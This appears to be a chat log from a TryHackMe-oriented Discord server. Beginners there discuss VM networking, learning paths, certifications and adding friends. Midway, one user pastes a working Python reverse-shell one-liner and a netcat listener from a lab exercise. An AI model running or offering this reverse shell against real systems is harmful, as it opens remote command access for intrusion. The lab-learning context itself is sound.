i.e., you need to physically give it that hardware. You would usually do that with an external NIC and USB pass through -- e.g., https://amzn.eu/d/12JsThT

[drowsy onyx]

Well no wonders idk, im in college learning still, im not a network engineer…. The teacher should know know that also since hes trying to make us do that … how can a teacher not know what hes teaching 😑

[drowsy onyx]

So is entire idea is stupid then … because no matter what the vm will think its on a wired interface ?

[quaint basin]

I mean, it's doable.

You just need extra hardware

[drowsy onyx]

Yeah but not without buying … which we arent gonna buy

[quaint basin]

Technically you might be able to pass through your integrated NIC? Not sure how effective that would be though.

[drowsy onyx]

Last semester he made us do some port forwarding on a lab without us even knowing what it was , so its kind of is trend to do stuff we never learned yet

Port forwarding as whole aint complex but making someone who as zero knowledge of security and risk do it is kind of a risky move

[quaint basin]

Apparently you can with ESXi, but not with workstation. And lord knows about VBox

[tawdry dove]

If they pass through the integrated NIC, the host won't be able to access it. Which, iirc, breaks things pretty horribly

You can get an $8 usb dingle and pass it through to the VM

[quaint basin]

No surprise there
I suspect the VM would probably be okay given it would be able to connect direct to the wap, right?
The host would be screwed though lmao

[tawdry dove]

*dongle

[tawdry dove]

It's been a while, but I remember it really breaking things. Break as in nothing works

[quaint basin]

Curious

[drowsy onyx]

Man this is absurd yall are using big boy words and my brain hurts lol

[tawdry dove]

What words are you confused by? So we can clarify

[drowsy onyx]

Never i realized what they were my brain is just hurting

So in other words connecting a VM in virtualbox ( Kali ) to my phone share data aint much of a possibility ? Why even is he asking that … like i guess he didnt try

I made my pc run on my hotspot and then the vm in NAT or bridged , both gave results , they got the same network range as the iphone but they don’t do what theyre supposed

[quaint basin]

I mean, it's easy enough to do. There are legitimate use cases for it. It's a fairly common thing, especially in some specific types of testing.

You just need an external NIC to do it.

Preferably one which supports monitor mode, just in case you fancy doing any wireless hacking.

[tawdry dove]

I mean you can have the VM get internet from the host, you just won't be able to do monitor mode

[drowsy onyx]

The monitor mode is not the issue , the phone is only used for data . After we need to do some active and passive reconnaissance. Which im good i know how to . The issue is the server as a firewall and filters smb traffic. But even before that when i do an WhoIs the organization name is not the name given by him

[quaint basin]

Well that's sketch af

[drowsy onyx]

So unless the firewall is blocking us seeing the org type idk what else. Like the org name that appears is crown castle which i guess is there server provider or something

So all day a bunch of student are doing hydra, scans , and other commands and everything on a server which as far as im concerned is not the one we should

[quaint basin]

Yeah, we ain't helping with that lmao

[drowsy onyx]

I know lol i was only asking for the networking thing earlier but at this point ive given up because hes not doing something rigjt

[spark sun]

I think you can with workstation pro - definitely can with qemu though

[tardy ravine]

I know it’s odd, but the reason I’m here is cause someone I have friended on an app has gotten information about me that’s unavailable, I kinda wanna get back at them or maybe make it to where that information is hard to find, if that’s possible

[quaint basin]

@odd acorn can help with that one 🙂

Or @south inlet

[odd acorn]

You won’t be able to stop them from having the information but you can start by taking preventative measures now and taking all that info off the internet

[dapper flicker]

Adding on to what Jabba Bravo said, you might want to look into services like Deleteme to see what info is publicly available. You could also look into some other OSINT tools, which might provide the answers you're looking for

[quasi palm]

I need help with this Above your account balance, you should now see a message indicating the answer to this question. Can you find the answer you need?

[south inlet]

#room-help

[wraith echo]

yay guys today I am fresh on highschool and I found today zero-day vulnerability on every compute on school. Unlocked BIOS and free SYSTEM permission to allow browse other students files without normal restriction. Potential access to active directory. Feel unreal. Already reported it to admins hope they got it fix it soon.

[wanton pewter]

Be careful from the next time, doing it without their permission can result in legal actions

[shadow compass]

Yo guys can sm help me with sm?

[wraith echo]

Yeah I know I asked teacher and he was checking me frequently I honor ethics of this but your right. Thanks tho

[hoary nymph]

Gave +1 Rep to @wanton pewter (current: #807 - 6)

[wanton pewter]

Well thats great then and you are already ahead of most if you can do that much in highschool. Feeling of that access of ad must have felt exhilarating, enjoy

[wraith echo]

Yeahh it was like being in matrix its a lot different from all those CTF machines u do. The best part of this story is that the school is teaching cybersecurity and is considered as most prestige in my area.

[wanton pewter]

Make sure to make your journey count. Self study is still the most important part.

[wraith echo]

Will do🫡 Working towards it everyday.

[wanton pewter]

Ahh so its a global issue, I thought its just my feed, lol

[fathom oak]

I'm really surprised they haven't fixed this yet
it all started 20+ hours ago

[wanton pewter]

They probably don’t know why it’s happening 😆

[soft pier]

shadow is sad that when facebook messed up bgp they were not gone forever

[wraith echo]

Oh well if they gonna hop in with manual removing it must be messing up with your brain

[tawdry dove]

With what?

[feral kelp]

Very impressed by the fact that you’re in high school and are at that skill level 😋

[wraith echo]

Have been learning ethical hacking since 10 and already had pentest "contract" at 15 its crazy journey

[feral kelp]

Girl what the hell wdym by 10 😭

Did your mom watch Mr Robot while pregnant with you

[wraith echo]

Nah I am obsessed with that show but never get the chance to watch it till end😔

Yeah when I was 10 I saw so many cyberec. attack happening at that time and I was like how the fuc is this possible how do "they" achieve it and so I started learning till this moment

[wanton pewter]

💀

[feral kelp]

I only started asking myself that question recently xD
I’ve always had a fascination with malware and cyberattacks so I’d often read Malwarebytes blog posts. Anyway, learning about different attack strategies made me wanna start studying cybersec for real 🙃

[wraith echo]

Cheering for ya its interesting path but full of patience🫡

Can suggest you how I started with whom and what platforms if interested

[bronze flax]

Good morning everyone! My name is Eddie! I’m looking to get into cybersecurity without paying thousands of dollars for a bootcamp. Does anyone have any suggestions, resources or recommendations on how to get started, learn some skills, build a portfolio and eventually land an interview/job?

[wraith echo]

Heyy Eddie glad to see you here! Absolutely I have few suggestions. Start with free resources like YouTube, Wikipedia, and libraries. It takes time to find good explanations, but engaging with videos, reading Wikipedia pages, and asking questions helps. Attend cybersecurity events and contribute where possible. Once you understand the basics, set up virtual machines (VMs) to practice tools and network concepts (DNS, proxies, VPNs, etc.).

Apply knowledge by working on projects, like writing reports on cybersecurity topics. Build a reputation by joining ethical hacking platforms and competing in Capture The Flag (CTF) challenges—use walkthroughs to learn from failures. Take notes on everything you learn. Create a LinkedIn profile and share your progress. Finally, be cautious of misinformation in cybersecurity content.

[wanton pewter]

He is totally new to this field, I would say directly going to basic level hand on is better than just learning from Youtube. Like starting from Pre Security in THM is great and infact you really don’t need anything else during the starting phase. And since he has already purchased the premium of TryHackMe, he should continue till he has enough skills.

After that he can follow as you said with CTFs and also go for some recognised certifications to standout on his profile.

[wraith echo]

Yeah your right just saying from my expirience

[wanton pewter]

I mean you started at 10, that too 8 years ago, it was harder back then but now he doesn’t really need to go around looking for resources just to break into the field, thanks to the online learning platforms. And TryHackMe over HTB just because it’s beginner friendly and pocket friendly.

[hoary nymph]

Gave +1 Rep to @wraith echo (current: #2705 - 1)

[wraith echo]

Yeah I agree with that. Back then it was different Try Hack Me is big life saver now

[random river]

Check out the free road map on THM -> after some time with it, consider if the way THM teaches is for You. If so- go for premium, its really worth it.
Check prerequisites for ComptiaSecurity+, then OSCP. While the Comptia is a theory exam and You can learn on Your own, for OSCP You need some practical skills - there's a room for it as well, but following cybersecurity paths will lead you to win as well.
Consider learning and getting a certification in networks (thats optional, but it will help You a lot with finding first job - it as well gives a lot of skills in networking which is valuable)
Theres more certificates to do, but focus on THM pathway and OSCP requirements.
During Your cybersecurity studying its worth learning programming language - i would recommend Python.
And remember- keep going, everything is obtainable 🙂
More advanced roadmap:
https://pauljerimy.com/security-certification-roadmap/

[weary meteor]

@odd acorn

[pine jacinth]

Does anyone want to be friends on THM? I saw they have a place you can add friends, I’m trying to keep the hype train going if anyone wants to drop their username

[weary meteor]

Feel free to add me if you want , KGBTHM is the username 🙂

[zinc iris]

Add me if you want (LaughingCat33)

[zinc iris]

can I add you ?

[weary meteor]

Yes , of course , feel free 🙂

[wanton pewter]

Your streaks 🥶

[weary meteor]

There're much higher streaks on the platform 🙂

[wanton pewter]

Ahh humble 🤧

[pine jacinth]

I just added you

@dommyp if anyone else wants to be friends!

[zinc iris]

if you connect your account at tryhackme to your discrod account by the tokens your level will show here , and in the future if you have any queations you can drop screenshots here

[zinc iris]

I did

[woven vortex]

Aye another one of those lovely beginners here. Quick question about what i can expect from THM. Currently taking the pre-security path and working toward pentesting and/or red team. By the end of the respective paths for these in THM, what can I expect my "skill-level" to be? What more would I need to do to get a job in these fields?

[zinc iris]

you will be able to solve ctfs , your skill level is depends on how much work you put on the rooms , and you trying to solve it alone, THM it's a great site , I highly recommend you start with it if you are a beginners, start with the easy rooms , and walk your way up to the harder ones and you can test yourself from time to time with ctfs

[woven vortex]

Thank you! im genuinely excited to continue:p

[hoary nymph]

Gave +1 Rep to @zinc iris (current: #1770 - 2)

[fair wave]

hi

boys

[woven vortex]

1 more question. Currently, im about to finsih netwrok fundamentals in the pre-security path. My strategy is watching the video (with an ear out for analogies/further explanation than the reading). Anytime I struggle to understand the concept, I go to chatgpt and beat it down till something clicks. Then, I solve the problems on my own. Do you guys think this is an effective learning strategy for optimal gain?

[weary meteor]

Yeah , why not 🙂

[weary meteor]

Request accepted 🙂 🤝

[zinc iris]

hi

I have a question, I used echo to add something to a text file , the file already had some data in it , and it all gone when I use d echo and now I have only one line (the new one I just added) is there any way to undo that and retrive the data ?

[weary meteor]

You probably used echo with > next time use it with >> if you want to add new content without deleting the previous one 🙂

[spark sun]

You shouldn't be using echo to add to a text file, except in very specific circumstances - redirecting stdout is very common in linux, but if all you are doing is typing something to add to a file, your text editor program is choice is more than likely going to be a better solution.

[high token]

Hey would anyone happen to know why netcat listener doesn’t pick up any traffic on Linux when using reverse shells?

[weary meteor]

What is your command ?

[wraith echo]

Hey can I add you too? @weary meteor , @pine jacinth ? or just anyone who is okay with being friends on THM?

[high token]

I Was doing the THM pyrat lab. I had nc -nvlp 1337 listening.
Then I had
nc pyrat.thm 8000
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("My-ip",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Used nano /etc/hosts and put in the ip and named it pyrat.thm

[south inlet]

#room-help please

[high token]

Ok 👍🏻

[weary meteor]

Yeah feel free 🙂

[elder verge]

Hello... I am Mubashir... i am a try hack me beginner... im looking for partners to learn together and build future partnership and workspace... if you are willing to join in try hack me and be friends pl send request [e-mail] Thanks and happy learning.

[wheat torrent]

Some times i don't get why my nc doesn't work

Is this because of using wrong ip or something ?

[weary meteor]

How ?

[next bronze]

what are you trying to do exactly?

[wheat torrent]

When i listen with nc at some port i Don't get any results why is that ?

[weary meteor]

Depends what are you listening for . If you're in these lab environments try to add -n flag to skip domain resolution

[wheat torrent]

Hey will you show me how can i write a command and save it in script file

[next bronze]

what's the context?

what kind of command, what attack you're doing, etc

[wheat torrent]

Just a nmap scan

[next bronze]

sudo nmap x.x.x.x -sC -sV -Pn -oN output.txt

[wheat torrent]

Ok this is a nmap command
If i put this text in an .sh file can i do the symlink thing ?

[next bronze]

I mean, you could but that's just hugely redundant

you can use nmap directly

[wheat torrent]

I want it for complex commands not for nmap

I am just clearing my doubts

[next bronze]

Yeah, you could

If those complex commands are already in the $PATH env variable, you wouldn't need to bother though

if they're not, then sure save it in a shell script and symlink it

[wheat torrent]

Ok thanks a lot 🙏

[pine jacinth]

Of course

[pine jacinth]

Add me!!!

[elder verge]

add me too [e-mail]

[elder verge]

add me on [e-mail]

or send me your mail id

[lime kraken]

when will the complete beginner path removed from TryHackMe ?

[south inlet]

Soon.

[pine jacinth]

Just sent you a request!

[pine jacinth]

I just saw your profile, are you Serbian?

[elder verge]

i got a mail and accepted the invite. are we connected???

[weary meteor]

Yes , I am from 🇷🇸

[wheat torrent]

@next bronze can i add you as a friend ?

[surreal quiver]

Any idea how to get copy/paste from host to guest to work?

[weary meteor]

You need to enable clipboard in vm settings

[south inlet]

Which hypervisor?

[surreal quiver]

VMware

I think it's enabled I also tried installing reinstalling open-vm-tools didn't work

[south inlet]

Settings of the VM > options > Guest Isolation

[surreal quiver]

Yes it's checked

[surreal quiver]

Hey can I add you guys @weary meteor @pine jacinth @wraith echo ? if anyone wants to add me feel free (ttryinnggghaackkeerr)

[weary meteor]

Yeah , feel free to add me if you want , KGBTHM is my username on THM 🙂

[surreal quiver]

Request sent 😀

[pine jacinth]

Of course! Anyone can add me, let’s all be great together!!

[pine jacinth]

That’s awesome, I’m Croatian! Great to meet you

[weary meteor]

Request accepted 🙂 🤝

[weary meteor]

Oh nice to meet you too , greetings to 🇭🇷 👋 🙂

[surreal quiver]

No way, I'm from 🇭🇷 too

[woven vortex]

wait why is the beginner path being removed?